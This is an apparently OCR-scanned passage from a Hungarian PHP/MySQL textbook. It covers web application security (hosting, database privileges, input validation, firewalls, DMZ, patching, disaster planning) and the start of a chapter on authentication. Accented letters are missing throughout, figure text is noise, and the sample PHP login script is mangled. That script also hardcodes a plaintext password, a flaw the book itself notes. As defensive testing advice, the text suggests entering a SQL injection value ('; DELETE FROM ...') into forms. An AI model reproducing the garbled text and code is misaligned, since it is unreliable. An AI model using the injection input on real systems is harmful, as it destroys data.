dokumentcijt elolvasva alaposabban tjkozdjunk az ajnlott biztonsgi eljrsokrL

Webes alkalmazsok hosztolsa fizets szolgltats ignybevtelvel


Bizonyos felhasznJk szmra kicsit problmsabb a virtulis szerver biztonsgnak krdse - azokra gondolunk itt, akik fizets PHP/MySQL hosztolsi szaigitats ignybevtelvel futtatjk webes alkalmazsaikat. Az ilyen kiszolglkan rninden bizonnyal nem frnk hozz a php.ini fjlhoz, gy nem tudjuk a belltsokat a neknk megfelelre alaktani. Szlssges eset ben mg arra sincsen lehetsgnk, hogy a gykrknyvtron kivl knyvtrakat hozzunk ltre, gy nem tudjuk a beillesztend fjljainkat biztonsgos helyre pakolni. Szerencsre az ilyen szolgltatsokat nyjt cgek is versenykpesek szeremnek marad ni, a nem kellen biztonsgos felpts pedig soha nem fog az gyflmegtarts lehetsges mdszerei kz tartozni.

Webes alkalmazsok biztonsga

259

A biztonsg rdekben szmos dolgot megtehetnk, amikor megfelel szolgltatst keresnk webes alkalmazsaink elhelyezsre: Mieltt valamelyik szaigitats mellett dntennk, nzzk meg, milyen tmogatst nyjranak! A jobb szolgltatsokhoz teljes online dokumentci tartozik (egyes szolgltatknl kivl dinamikus oktatanyagokat is tallhatunk), amelybl pontosan kiderl, hogyan kanfigurljk trhelynket. Ezt alaposan ttanulmnyozva megtudhatjuk, milyen korltoz sokra s tmogatsra szmthatunk az adott szolgltatnl.

Olyan trhelyszolgltatst keressnk, amely teljes knyvtrft s nem csak gykrknyvtrat knl! Egyes szolglra tknl trhelynk gykrknyvtra az alap dokumentumknyvtr, msok teljes knyvtrhierarchit adnak, amelyben a public_html/ az a hely, ahova a tartalom s a futtathat PHP kdok kerlnek. Ezeknl a biztonsg rdekben megtehetjk, hogy ltrehozzuk az includes/ knyvtrat. Ezzel lehetv vlik, hogy msok ne tekinchessk meg . inc fjljaink tartalmr. Prbljuk meg kiderteni, milyen belltsokat hasznlnak a php. ini fjlban! Br a szolgltatk tbbsge nem jelenti meg ezeket az oldalon, illerve nem fogjk a fjlt e-mailben elkldeni szmunkra, a mszaki gyflszolglattl megkr dezhetjk, hogy a biztonsgos md be van-e kapcsolva, s milyen fuggvnyeket s osztlyokat kapcsoltak ki. A bellt sok rtkeit az ini_get fuggvnnyel is kiderthetjk. A biztonsgos mdot nem hasznl vagy egyeden fuggvnyt ki nem kapcsal oldalak esetben jobban aggdhatunk, mint az sszeren biztonsgos konfigurcit knl szolgltatknl. Nzzk meg, milyen verzij szaftvereket futtatnak! A legfrissebb verzikat? Ha nem talljuk a phpinfo kimenett, hasznljunk olyan szolgltatst, mint pldul a Netcraft (http:/ /www.netcraft.com), amellyel megtudhatjuk, milyen szaftvereket futtat az adott oldal! Ellenrizzk, hogy valban PHP5-t hasznlnak!

Keressnk olyan szaigitatst, ahol van ingyenes prbaidszak, pnzvisszafizetsi garancia vagy brmilyen ms lehetsg, amivel hossz tv ktelezettsgvllals nlkl kiprblhatjuk, hogyan fognak futni webes alkalmazsaink az adott trhelyen.

Az adatbzisszerverek biztonsga
Tl azon, hogy minden szaftvernket naprakszen tartjuk, szmos dolgot megtehetnk adatbzisaink biztonsga rdek ben. Megint csak elmondhat, hogy a biztonsgrl teljes knyveket rhatnnk minden egyes adatbzisszerverhez, amelyre webes alkalmazsainkat rjuk, m itt s most csak olyan ltalnos stratgikat tudunk bemutatni, amelyek mindenkire egy arnt rvnyesek.

Felhasznlk s a jogosultsgi rendszer


Sznjunk r idt s energit, hogy megismerjk a vlasztott adatbzisszerver hitelestsi s jogosuJtsgi rendszert! Az adat bzisok elleni tmadsok kzl meglepen sok egyszeren azrt tud sikeres lenni, mert az emberek nem fordtanak kell idt arra, hogy meggyzdjenek a rendszer biztonsgossgrL Ellenrizzk, hogy van-e minden felhasznlnak jelszava! Minden adatbzisszerver esetben az egyik legels tennivalnk legyen meggyzdni arrl, hogy az adatbzis rendszergazdja rendelkezik jelszvall Figyeljnk, hogy a jelszavak ne tartalmaz zanak sztri szavakat! Mg az olyan jelszavak is, mint a 44bicikliA, sokkal kevsb biztonsgosak, mint pldul az FI93!!xl2@. Az olyanoknak, akik aggdnak jelszavuk megjegyezhetsge miatt, javasoljuk, hogy egy tetszleges mondar szavainak kezd betit hasznljk, a kis- s nagyberket pedig valamilyen egyszer sma szerint vlrogassk, pldul MsKsTsHsKs, azaz"Mir srsz, kis szcs, tn ss hst srsz, kis szcs?" Sok adarbzis ( kztk a MySQL rgebbi verzii) teleptsekor ltrehoz egy nvrelen felhasznlt, aki a kvnatosnl tbb jogo sultsggal rendelkezik . Miurn feltrkpeztk s megismertk a jogosulrsgi rendszert, ellenrizzk, hogy az alapr telmezett felhasznJk pontosan azt teszik, amit tennik kell, a felesleges vagy rl sok jogosultsggal rendelkezket pedig tvoltsuk el! gyeljnk, hogy csak a rendszergazdnak legyen hozzfrse a jogosuJtsgi tblkhoz s adminisztrcis adatbzisokhoz! Minden ms felhasznlnak csak azokhoz az adatbzisokhoz szabad hozzfm ie, s csak azokat szabad mdostania, amelyek kel rnylegesen dolga van. Tesztelskppen prbljuk ki a kvetkezket, s figyeljk, trtnik-e hiba:

16

Kapcsoldjunk felhasznli nv s jelsz megadsa nlkl! Kapcsoldjunk rendszergazdaknt jelsz nlkl! Adjunk meg rendszergazdaknt hibs jelszt! Kapcsoldjunk felhasznlknt, s prbljunk meg olyan tblt elrni, amelyre nincsen jogosultsgunk! Kapcsoldjunk felhasznlkn t, s prbljuk meg elrni a rendszeradatbzisokat vagy a jogosuJtsgi tblkat!

Ang nem prbltuk ki mindezeket, nem lehetnk biztosak rendszernk jogosuJtsgi rendszernek megfelel vdelmben.

260

16. fgezet

Adatklds a szerverre
Knyvnk eddigi oldalain mr tbbszr elmondtuk (s mg j nhnyszor el fogjuk mondani), hogy soha ne kldjnk a szer verre szretlen adatokat. Az adatbzis-kiterjesztsek ltal elrhet, a vdkarakterek hasznlatt lehetv tev fggvnyek (pldul a mysqli_real_escape_string vagy a mssql_ escape_string ) segtsgvel legalbb alapszint vdelmet kialakitharunk. Azonban az is kiderlt mr szmunkra, hogy nem elegend ezekre a fggvnyekre tmaszkodni, a beviteli rlapok minden mezjnl tpusellenrzst kell vgrehajtani. Minden bizonnyal szeretnnk elkerlni, hogy a felhasznli nevet vr mezbe tbb kilobjtnyi adat vagy felhasznli nevekbe nem val karakter kerljn. A kdban vgrehajtott ellenrzssei pontosabb hibaze neteket adhatunk, s cskkenthetjk az adatbzisainkra leselked biztonsgi kockzatot. Szmszer s dtum/id adatok eset ben is gyzdjnk meg a felhasznJk ltal bevitt rtkek sszersgrl, s csak utna tovbbtsuk azokat a kiszolglnak! Vgezetl az azt megenged szervereken hasznlharunk trolt eljrsokat, amelyek nagyrszt elvgzik helyetrnk a vdka rakterek kiosztsnak munkjt, s gondoskodnak arrl, hogy szksg esetn idzjelek kz kerljn az, aminek idzjelek kztt kell lennie. Megint csak tesztelssei tudunk megbizonyosodni arrl, hogy adatbzisunk megfelelen kezeli az adatokat: Prbljunk az rlapokba olyan rtkeket bevinni, mint pldul a ; DELETE FROM Artalmatlan_Tabla' stb.! Szmokat vagy dtumokat fogad mezkbe prbljunk olyan rtelmetlen rtkeket berni, mint az 55#$ 8 8 8 ABC', s figyeljnk, hogy hibazenetet kapunk-e! Prbljunk meg az ltalunk megadott mrethatron felli adatot bevinni, s figyeljk, hogy bekvetkezik-e a hiba!
' '

Kapcsolds a szerverhez
Szmos mdszer ltezik, hogy az adatbzisszervereinkhez val kapcsoldsokat ellenrzsnk alatt tartva megrizzk a ki szolglink biztonsgossgt. Az egyik legegyszerbb mdszer, ha korltozzuk a felhasznlkat abban, hogy honnan kapcso ldhatnak. A klnbz adatbzis-kezel rendszerekben hasznlt jogosuJtsgi rendszerek nagy rsznl nem csak felhasznli nevet s jelszt adharunk meg az egyes felhasznlkhoz, hanem azokat a szmrgpeket is meghatrozhaguk, amelyekrl a csatlakozs megengedett. Amennyiben adatbzisszervernk s webszervernk/PHP motorunk ugyanazon a szmtgpen tallhat, akkor rdemes csak a localhostrl vagy a gp ltal hasznlt IP-cmrl rkez kapcsoldsokat engedlyezni. Ha webszervernk llandan ugyanazon a gpen mkdik, akkor teljesen helynval, ha a felhasznlkat csak arrl a szmtgp rl engedjk csatlakozni az adatbzishoz. Sok adatbzisszerver funkcii kztt megtalljuk azt a lehetsget, hogy rickosrott kapcsolaton keresztl (ltalban a Secure Sockets Layer - SSL nven ismert protokollt hasznlva) kapcsoldjunk hozzjuk. Ha brmikor is a nyilvnos interneten keresztl kell adatbzisszerverhez kapcsoldni, titkostott kapcsolatot kell hasznlni - amennyiben elrhet ilyen. Ha nem, rdemes lehet alagutat (tunne!) ltrehoz termket vlasztani. Az alagt olyan pokolian okos det, amely biztonsgos kapcsolatot hoz ltre az egyik gptl a msikig, s a TCP /IP portok (pldul a 80-as port a HTTP- s a 25-s az SMTP forgalomhoz) ezen a biztonsgos kapcsolaton keresztl vannak a msik gphez irnytva, ami helyinek ltja a forgalmat. Vgezetl nem szabad megfeledkezni arrl, hogy az adatbzisszervernl belltott, lcala egyszerre kezelni kpes kapcsold sok szma nagyobb legyen, mint amennyit a webszerver s a PHP lehetv tesz. Korbban emltettk, hogy az Apache HTTP Server 1.3.x verzii alaprtelmezsben maximum 150 kapcsolatot tudnak kezelni. Ha a my.ini-ben a MySQL ltal megenge dett kapcsolatok szmt az alaprtelmezetten rtken (100) hagyjuk, mris hibs konfigurcit kapunk. Ezt elkerlend min denkppen a kvetkez mdostst kell vgrehajtanunk my.ini fjlunkban:
max connections=151

16

Azrt engedlyeztnk eggyel tbb kapcsolatot, mert a MySQL mindig fenntart egyet a rendszergazdnak. gy akkor is bejelentkezhet s dolgozhat, ha a kiszolgl teljesen le van terhelve.

A kiszolgl futtatsa
A kiszolgl biztonsga rdekben szmos dolgot megtehetnk az adatbzisszerver futtatsa sorn. Az els s legfontosabb, hogy soha nem szabad azt superuserknt (Unix esetn rootknt, Windows esetn rendszergazdaknt) futtatni. Ha a szerverr brmikor feltrik, teljes rendszernk veszlyben lesz. A MySQL igazbl csak akkor hagyja, hogy superuserknt futtassuk, ha ilyetn szndkunkat megerstve knyszertjk r - ami termszetesen megint csak ellenjavallt. Az adatbzisszaftver belltsa utn a legtbb program azt kri, hogy - a frksz szemek elli elrejtsk rdekben - m dostsuk az adatbzis knyvtrainak s fjljainak rulajdonosait, illetve a vonatkoz jogosultsgokat. Ne feledjk megtenni ezt, s gyeljnk, hogy ne a superuser legyen az adatbzisfjlok tuldonosa! (Ellenkez esetben ugyanis a nem superuseri adatb zisszerver-folyamatok mg sajt adatbzisfjljaikba sem tudnnak rni.)

Webes alkalmazsok biztonsga

261

Amikor a jogosultsgi s hitelestsi rendszerrel dolgozunk, csak a lehet legszkebb jogosultsgokkal hozzuk ltre a fel hasznlkat! Nem rdemes szles kr jogosultsgokat kiosztani nekik, mondvn valamikor mg szksgk lehet r. ppen ellenkezleg: szksg esetn kell tovbbi jogosultsgokat adni.

A hlzat vdelme
Szmos mdszer ltezik a webes alkalmazsunknak otthont ad hlzat vdelmre. Br ezek rszletes bemutatsa meghaladja knyvnk lehetsgeit, viszonylag egyszeren tjkozdhatunk az ilyen mdszerekrl, amik nem csak webes alkalmazsainkat fogjk vdeni.

Tzfalak teleptse
Ahogy a PHP-ben rt webes alkalmazsunkba rkez minden felhasznli inputot szrnnk kell, ugyangy kell eljrni a hl zarunkba rkez teljes forgalommal, legyen sz cges irodai hlzatrl vagy adatkzpontrl, amelyben szervereinket s alkal mazsainkat zemeltetjk. Tzfallal tehetjk ezt meg, ami lehet ismert opercis rendszeren - pldul FreeBSD-n, Linuxon vagy Microsoft Windowsan - fut szaftver vagy hlzati eszkzgyrttl beszerzett, dediklt hlzatbiztonsgi berendezs. A tzfal feladata
a

nem kivnt forgalom kiszrse s a hozzfrs megakadlyozsa hlzatunk azon rszeihez, amelyeket nem szeretnnk, hogy A TCP /IP protokoll, amelyre az internet pl, portokon keresztl mkdik, spedig gy, hogy klnbz portokat ren

msok bolygassanak. delnk az eltr pus forgalmakhoz (a HTTP-hez pldul a 80-as port tartozik). Sok portot szigoran csak bels hlzati forgalomra hasznlunk, ezek kis szerepet jtszanak a klvilggal val rintkezsnkben. Ha megtiltjuk, hogy ezeken a porto kon keresztl forgalom rkezzen hlzarunkba vagy menjen ki, cskkentjk annak kockzatt, hogy szmtgpeinket vagy szervereinket (s ezltal webes alkalmazsainkat) feltrjk.

DMZ hasznlata
Mr utaltunk r, hogy szervereinket s webes alkalmazsainkat nem csak kls szemlyektl rkez tmads fenyegeti, hanem
a bels,

rosszindulat felhasznJk is kockzatot jelentenek. Br utbbi tmadk kevesebben vannak, a cg mkdsrl kiter

jedt informcikkal rendelkeznek, s ezek birtokban akr nagyobb krt kpesek okozni. Az ilyen kockzat mrsklsnek egyik mdja az gynevezett demilitarizlt zna ( demilitarized zone - DMZ) megvalsr
sa. Ebben szervert

a rendszerben a webes alkalmazsainkat futtat kiszolglkat (s ms szervereket, pldul a cges fjl- vagy levelez

) elklntjk az internettl s a bels vllalati hlzatoktl egyarnt (16.3 bra).


Demilitarizlt zna

16

Adatbzis szerver

16.3 bra: A DMZ kt legnagyobb elnye:

Demilitarizlt zna (DMZ) megvalstsa

A bels s kls tmadsoktl egyarnt vdi szervereinket s webes alkalmazsainkat. Vllalari hlzarunk s az interner kz tbb tzfal- s biztonsgi rteget helyezve mg jobban vdi bels hlzatainkat.

262

16.fezet

A DMZ tervezst, teleptst s zemeltetst a webes alkalmazsunkat zemeltet hely hlzati rendszergazdival kell egyeztetni.

Felkszls a DoS s D DoS tmadsokra


Napjaink taln legflelmetesebb tmadsa a 15. fejezetben bemutatott, szolgltatsmegtagadssal jr (DoS) tmads. A h lzati DoS s a mg fenyegetbb, megosztott szolgltatsmegtagadssal jr (D DoS) tmadsok eitritett szmtgpekkel, frgekkel vagy a szoftverteleptsek gyengesgeit kihasznl egyb eszkzkkel dolgoznak. De akr a TCP!IP vagy hasonl protokollok kialaktsi problmit is felhasznlharjk a kiszemelt szmtgp elrasztsra s a szablyosan viselked felhasz nJk csatlakozsi krseinek meghistsra. Sajnos az ilyen tpus tmadst nagyon nehz megelzni, vagy reaglni r. Egyes hlzatieszkz-gyrtk rulnak a DoS tmadsok kockzatt s hatst mrskl berendezseket, de tfog megolds egyelre nem ltezik az ilyen tmadsok ellen. A legkevesebb, amit hlzati rendszergazdnk megtehet, hogy nmi kutatst folytatva tjkozdik a hlzatainkra s az azokon lv teleptsekre leselked veszlyekrl s kockzatokrL Az gy megszerzett informcik birtokban, valamint internetszolgltatnkkal (vagy a szervereink hosztolsval megbzott szolgltatval) egyeztetve fel lehet kszlni az ilyen t mads ltal elidzett helyzetre. Kiszolglink mg akkor is a tmads ldozataiv vlhatnak, ha az nem kifejezetten ellenk irnyul.

Szmtgpnk s az opercis rendszer biztonsga


Mg valaminek a vdelmrl gondoskodnunk kell, s ez nem ms, mint a webes alkalmazsunkat futtat kiszolgl.Az albbi akat lehet s kell megtennnk ennek rdekben.

Tartsuk naprakszen opercis rendszernket!


Szmtgpnk biztonsgrl gy tudunk legknnyebben gondoskodni, ha figyelnk, hogy opercis rendszernk szoftvere a lehet legfi-issebb legyen. Amint eldnrjk, hogy milyen opercis rendszert fogunk lesben hasznlni, ksztsnk tervet arra, hogy hogyan teleptsk a frisstseit s javtsait! Bzzunk meg valakit, aki a megfelel forrsokat rendszeresen ellenrizve ri asztsok, hibajavtsok s frisstsek utn kutat! Hogy pontosan hol keressnk a sebezhetsgekrl informcit, az az ltalunk hasznlt opercis rendszer szoftvertl fgg. Jellernzen attl a szoftvergyrttl kaphatunk tjkoztatst, akitl opercis rendszernket vsroltuk. Klnsen igaz ez, ha az a Microsoft Windows, a Red Hat vagy a SuSE Linux, illetve a Sun Microsystem Solaris opercis rendszere. Egyb oper cis rendszerek, pldul a FreeBSD, az Ubuntu Linux vagy az OpenBSD esetben ltalban az azokhoz ktd kzssgek weboldalait rdemes ltogatni, ott megtudhatj uk, hogy milyen friss biztonsgi javtsokat ajnlanak. Akrcsak a szoftverfrisstseket, ezeket a javtsokat is rdemes tesztkrnyezetben kiprblni, s csak sikeres teleptsk s mkdsk utn tegyk fel ket lesben mkd kiszolglinkral gy nem az les szervereinken kell megbizonyosodnunk arrl, hogy webes alkalmazsunk tovbbra is hibtlanul mkdik. Termszetesen rdemes kpben lennnk opercis rendszernket s a biztonsgi javtsokat illeten: ha egy adotr opercis

16

rendszer FireWire alrendszert rinti a biztonsgi javts, de kiszolglnkban egyltaln nincsen FireWire hardver, akkor egy rtelmen idpocskols vgigmenni a javts tesztdsi s teleptsi folyamatn.

Csak azt futtassuk, amire valban szksg van!


Sok kiszolgln elfordul problma, hogy alapbl szmos szoftver fut rajta, kztk pldul levelezszerverek, FTP szerverek, Microsoft fjlrendszer-megosztsok (az SMB protokollon keresztl) stb.Webes alkalmazsunk futtatshoz elegend a web kiszolgl szoftvere (pldul liS vagy Apache HT TP Server), a PHP s az ahhoz kapcsold knyvtrak, illetve az adatbzis szerver szoftvere. Sokszor msra nincs is szksgnk. Ha ms szoftvert nem hasznlunk, a bkessg kedvrt inkbb kapcsoljuk ki ket, gy nem kell a biztonsguk miatt sem aggdn unk. A Microsoft Windows 2000 s az XP opercis rendszer hasznlinak mindenkppen rdemes vgigfutniuk a szerverk ltal futtatott szolgltatsok listjn, majd kikapcsolni azt, amire nincs szksgk. Ha valamely szolgltats eset ben bizonytalanok vagyunk, folytassunk egy kis kutatmunkt! Igen valszn, hogy valaki mr rkrdezett az interneten (s vlaszt is kapott krdsre), hogy mire val az adott szolgltats, s tnyleg szksg van-e r.

Webes alkalmazsok biztonsga

263

Kiszolglnk fizikai biztonsga


Korbban mr emltettk azt a biztonsgi fenyegetst, hogy valaki egyszeren bestl az pletbe, kihzza a kiszolglt a h lzatbl, majd hna al csapja, s vgan kistl vele. Ez, s:Ynos, nem vicc. Mivel egy tlagos jellemzkkel br kiszolgl nem olcs mulatsg, a szervergpek ellopsra nem csak az ipari kmkeds s az adatlops lehet a motivci. Vannak olyanok, akik egyszeren elads cljbl prbljk meg eltulajdontani az ilyen gpeket. ppen ezrt igen fontos, hogy a webes alkalmazsa
inkat futtat kiszolglkat biztonsgos krnyezetben tartsuk, s csak annak tegyk ket elrhetv, akiknek valban dolguk
van

velk.

Katasztrfaelhrtsi terv
Ha szeretnnk teljesen res, a semmibe rved tekintetet ltni, krdezznk meg egy informatikai vezett, hogy mi trtnne kiszolglikkal vagy inkbb teljes adatkzpontjukkal, ha a gpeknek otthont ad plet legne, vagy ers fldrengsben elpusz tulna! Az informatikusok ijeszten magas arnya egyltaln nem tudna vlaszolni. A kataszttfa-elhrtsi tervezs a szolgltats kritikus, mgis gyakran figyelmen kvl hagyott rsze, legyen az a szolgltats pusztn egy webes alkalmazs vagy brmi egyb (pldul vllalkozsunk mindennapi mkdtetse). A terv elksztse jellem zen olyan dokumentumok vagy folyamatok sszelltsbl ll, amelyek pldul az albbi esemnyek bekvetkezse esetn felmerl krdsekkel foglalkoznak: Adatkzpontunk valamilyen katasztrfa kvetkeztben rszben vagy egszben megsemmisl. Fejlesztcsapatunkat ebdsznetben elti egy busz, s mindannyian slyosan megsrlnek (vagy meghalnak). A vllalati kzpont leg. Egy kls tmadnak vagy egy elgededen alkalmazottnak sikerl webes alkalmazsaink sszes adatt megsemmiste me. Klnbz okok miatt, de sokan nem szeremek szerencsdensgekrl s tmadsokrl beszlni, m a knyrtelen valsg
az,

hogy ilyen dolgok elfordulnak- br szerencsre viszonylag ritkn. Az zleti szervezetek azonban jellernzen nem enged

hetik meg maguknak a lells t, amit az ilyen nagysgrend esemnyek okoznnak abban az esetben, ha teljesen felkszletlenl rn ket. Egy naponta tbb milli dollros bevtelt elr vllalat igen komolyan megrezn, ha webes alkalmazsai nem len nnek elrhetk tbb mint egy htig, addig, amg a rendszert nem szz szzalkban ismer emberek annak helyrelltsn s jraindtsn dolgoznnak. Az ilyen esemnyekre felkszlve, bekvetkezsket egyrtelm akcitervvel vrva s az akciterv kritikusabb rszeit elpr blva hatalmas vesztesgek potencilis lehetsgtl kmlhetjk meg zleti szervezetnket, ha tnyleg bet a mnk. Az albbiakkal segithetjk a katasztrfa-elhrrsi terv ltrehozst s - szksg esetn- vgreh:ytst: Gondoskodjunk az sszes adat napi biztonsgi mentsrl fizikailag msik helysznen, gy adatkzpontunk teljes meg semmislse esetn is megmaradnak adataink! Legyen kzzel rott, fizikailag szintn mshol trolt feljegyzsnk a szerverkrnyezet ltrehozsra s webes alkalmaz sunk belltsra vonatkoz utastsokkal l Legalbb egyszer prbljuk el a teljes helyrelltsri Ksztsnk teljes msolatot webes alkalmazsunk forrskdjrt s tartsuk ezt is msik helysznen! Nagyobb munkahelyi csapatok esetn tiltsuk meg, hogy minden kollga ugyanabban a jrmben (pldul autban vagy replgpen) utazzon, hogy egy esetleges baleset ne rinehesse a csapat minden tagjt! Automatizlt eszkzk futtatsval ellenrizzk a szerver megfelel mkdst, s jelljnk ki egy alkalmazottat, aki vszhelyzet vagy brmilyen problma esetn nem munkark alatt is kteles bejnni! Olyan szerzdst kssnk a neknk a hardvereket rtkest partnerrel, hogy adatkzpontunk megsemmislse esetn az j hardver azonnal elrhet legyen! Nagyon idegest lenne ngy-hat htig vrni az j szerverek megrkezsre.

16

Hogyan tovbb
A Hitelests

megvalstsa PHP-vel s MySQL-lel cm

17. fejezetben alaposabban megvizsgljuk a felhasznlk azonostst

lehetv tev hitelestst. Klnbz mdszereket ismernk meg, kztk az oldal felhasznlit PHP s MySQL segtsgvel ellenrz hitelesrst.

17 Hitelests megvalstsa PHP--vel s MySQL--lel


Ebben a fejezetben arrl lesz sz, hogy hogyan lehet felhasznlinkat klnbz PHP- s MySQL-mdszerekkel hitelesteni. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Ltogatk azonostsa Hozzfrs-szablyozs megvalstsa Alapszint hitelests Alapszint hitelests PHP-ben Az Apache alapszint . htaccess hitelestsnek hasznlata Amod auth_mysql hitelests alkalmazsa Egyni hitelestsi folyamat ltrehozsa

Ltogatk azonostsa
Ugyan az internet elgg anonimitsbart mdium, sok esetben hasznos dolog tisztban lenni azzal, ki ltogatja oldalunkat. A ltogatk adatainak vdelme szempontjbl szerencss, hogy segtsgk nlkl nagyon keveset rodharunk meg rlunk. Kis energival ugyanakkor a szerverek egsz sok informcit sszegyjthetnek a hozzjuk kapcsold szmrgpekrl s hlza rokrL A bngszk ltalban azonostjk magukat, kzlik a kiszolglval, hogy a felhasznl milyen bngszt, annak melyik verzijt s milyen opercis rendszert futtat. JavaScript segtsgvel az esetek tbbsgben azt is megllapthatjuk, hogy a l togatk kijelzje milyen felbontsra s sznmlysgre van lltva, illetve milyen nagy a bngszjk ablaka. Minden szmtgp egyedi IP-cmen kereszrl csatlakozik az internethez. A ltogat IP-cmbl valamilyen mrtkben kvetkeztetni tudunk r. Kiderthetjk, kinek a birtokban van az IP-cm, s gyakran egsz jl tippelhetnk a ltogat fld rajzi elhelyezkedsre is. Az IP-cmek azonban nem egyformn hasznosak szmunkra. ltalnossgban igaz, hogy az lland internerkapcsolattal rendelkez felhasznl lland (fix) cmmel rendelkezik. Az internetszolgltathoz (ISP) berrcsz fel hasznlk jellemzen ideiglenesen hasznlhatjk a szolgltar egyik cmt. Ha legkzelebb tallkozunk ugyanazzal a cmmel, akkor knnyen lehet, hogy mr msik szmtgp hasznlja, s amikor legkzelebb tallkozunk a ltogatval, nagy valszn sggel msik IP-cme lesz. Az IP-cmek nem olyan mrtkben alkalmasak a ltogatk azonostsra, mint elsre hihetnnk. Az internetfelhasznlk szmra elnys lehet, hogy a bngszik ltal megadott informcik nem alkalmasak azonost sukra. Ha tudni szeretnnk valamelyik ltogatnk nevt vagy egyb adatt, meg kell krdeznnk tle. Sok weboldal igen hathats eszkzkkel knyszerti a felhasznlkat szemlyes adataik megadsra. A New York Times jsg (http:/ /www.nytimes.com) tartalma ingyenesen elrhet, de csak azon ltogatknak, akik hajlandk megadni olyan ada raikar, mint a nevk, a nemle s a hztartsuk teljes jvedelme. A Slashdot nev hr- s frumoldalon (htrp:/ /www.slashdot. org) csak a regisztrlt felhasznlk rhatnak bejegyzseket, k viszont testre szabhatjk sajt maguk szmra az oldal fellett.
A legtbb e-kereskedelmi oldal az els rendelsnl elkri s eltrolja a vsrlk adatait. Ez azr jelenti, hogy nem szksges min

den vsrlskor minden adatot begpelni k. Ha informcit krtnk s kaprunk ltogatinktl, kvetkez ltogatsukkor valahogyan ssze kell kapcsolnunk az egyes fel hasznlkat az ltaluk korbban megadott adatokkal. Ha elfogadjuk azt a felttelezst, hogy egy adott szmrgpen lv adott fel hasznli nvvel egyetlen szemly ltogatja csak oldalunkat, akkor arra a gpre stit (cookie-t) rakva azonosthatjuk a felhasznlt. Szinte biztos, hogy ez a felttelezs nem minden felhasznl esern llja meg a helyt. Egy-egy szmtgpen tbb felhaszn l is osztozhat, s brki hasznlhat egynl tbb gpet is. Legalbb alkalmanknt meg kell krdeznnk ltogatnkat, hogy ki is
tulajdonkppen. Radsul nem elg ezt csak megkrdezni, hanem krni kell, hogy valahogyan bizonyrsa be: rnyleg az, akinek

mondja magr.

266

17.fezet

Az e-kereskedelem biztonsgi krdsei cm fejezetben szba kerlt, hogy hitelestsnek (authentication) nevezzk azt, ami

kor felkrjk a felhasznlt szemlyazonossga bizonytsra. A hitelests weboldalakon hasznlt ltalnos mdszere az, ha a felhasznl megadja egyedi felhasznli nevt s jelszavt.A hitelesrst jellemzen arra hasznljuk, hogy hozzfrst adjunk adott oldalakhoz vagy informciforrsokhoz, vagy ppen ellenkezleg: megtagadjuk a hozzfrst. A hitelests lehet opcion lis, s hasznlhatjuk ms clokra, pldul tartalom testre szabsra (perszonalizlsra) is.

Hozzfrsszablyozs megvalstsa
Az egyszer hozzfrs-szablyozs knnyen megvalsthar.A 17.1 pldakdnak hrom kimenere lehetsges. Ha a fjl param

terek nlkl tltdik be, felhasznli nevet s jelszt kr HTML rlap jelenik meg.A 17.1 brn ilyen tpus rlapot ltunk.
tlf ......,_ lttool .,..,..,.. -

crft u- -_ Krjk, jelentkezzen be


F......ata-..-

_ - --- ---_ - __ _ -

_'""' .. - ,
_

-=======:-::

!.W=.:-::.::::_

17.1 bra: A HTML rlap felhasznli nevet s jelszt kr a ltogatktl a hozzfrshez.

Ha a paramtereket megadjk ugyan, de nem helyesen, a kd hibazenetet jelent meg. A 17.2 brn a hibazenette ltunk pldt.

tvozzon! -- ----.-.---- ;, Krjk,

......-

....

.......,.,.

-w

17.2 bra: Ha a felhasznl nem megfelel adatokat ad meg, hibazenetet jelentnk meg. Egy igazi oldalon ennl azrt bartsgosabb zenetet rdemes hasznlni.

Ha a megadott paramterek helyesek, megjelenik a titkos tartalom. A 17.3 brn az ilyen tpus tartalomra ltunk pldt.

17

Tessk!

17.3 bra: Megfelel adatok bevitele esetn a kd megjelenti a tartalmat.

Hitelests megvalstsa PHP-vel s MySQL-lel

267

A 17.1, 17.2 s 17.3 brn Jrhat funkcionalitst megvalst kd a 17.1 pldakdban Jrhat. 17.1 pldakd: ti t kos. php-Egyszer hitelestsi mechanizmust biztost PHP s HTML kd
<?php //rvid nevek ltrehozsa a vltozknak $nev = $_POST['nev']; $jelszo = $ POST['jelszo'];

if ((1isset($nev))

l l

(!isset($jelszo)))

//A ltogatnak meg kell adni nevt s jelszavt


?>

<hl>Krjk,

jelentkezzen be!</hl>

<p>Az oldal titkos.</p> <form method="post" action="titkos.php"> <p>Felhasznli nv: <p>Jelsz: <input type="text" name="nev"></p>

<input type="password" name="jelszo"></p>

<p><input type="submit" name="submit" value="Bejelentkezs"></p> </form> <?php else if(($nev=="felhasznalo") && ($jelszo=="jelszo"))

ll a ltogat nv/jelsz prosa helyes


echo "<hl>Tessk!</hl> <p>Fogadjunk, else hogy rl, hogy lthatja ezt a titkos oldalt!</p>";

ll a ltogat nv/jelsz prosa nem megfelel


echo "<hl>Krjk, tvozzon!</hl> <p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

?> A 17.1 pldakd egyszer hitelestsi mechanizmust valst meg, amely lehetv teszi, hogy csak az arra jogosult felhasznJk tekintsk meg az adott oldalt. Ez a kd mindazonltal nhny komoly problmt is felvet: A kd a felhasznli nevet s a jelszt is tartalmazza Egyszer szvegknt trolja a jelszt Egyetlen oldalt vd Egyszer szvegknt kldi el a jelszt Ezeket a problmkat nmi erfeszts rn sikeresen kezdhetjk.

Jelszavak trolsa
Szmtalan alkalmasabb hely knlkozik a felhasznli nevek s jelszavak trolsra, mint egyszeren a kd belsejbe rni ket. Egyrszt a kdon bell nem egyszeren mdosrhatk az adatok. Technikailag lehetsges, de nem clszer sajt magt mdo st kdot rni. Ha gy tesznk, vgeredmnyben olyan kdot helyeznk kiszolglnkra, amely a kiszolgln fut, de msok is rhatjk vagy mdosrhatjk. Ha az adatokat msik fjlban troljuk a szerveren, sokkal knnyebben rhatunk programot a fel hasznJk ltrehozsra s eltvoltsra, illetve a jelszavak megvltoztatsra. Amennyiben az adatokat a kdban vagy egy msik adatfjlban troljuk, a kd futsi sebessgnek jelents lelassulsa nlkl csak korltozott szm felhasznlt tudunk kezelni. Ha nagyobb mennyisg adatot kvnunk fjlban trolni s abban keresni, rdemes inkbb adatbzist hasznlni. klszablyknt elmondhat, hogy ha szznl tbb elembl ll listt akarunk trolni s abban keresni, akkor egyszer fjl helyett adatbzist kell hasznlni. A felhasznli nevek s jelszavak adatbzisban trolsa nem teszi rzkelheten bonyolultabb a kdot, viszont a felhasz nJk sokkal gyorsabb hitelestst teszi lehetv. Ebben az esetben egyszeren megrhatjuk az j 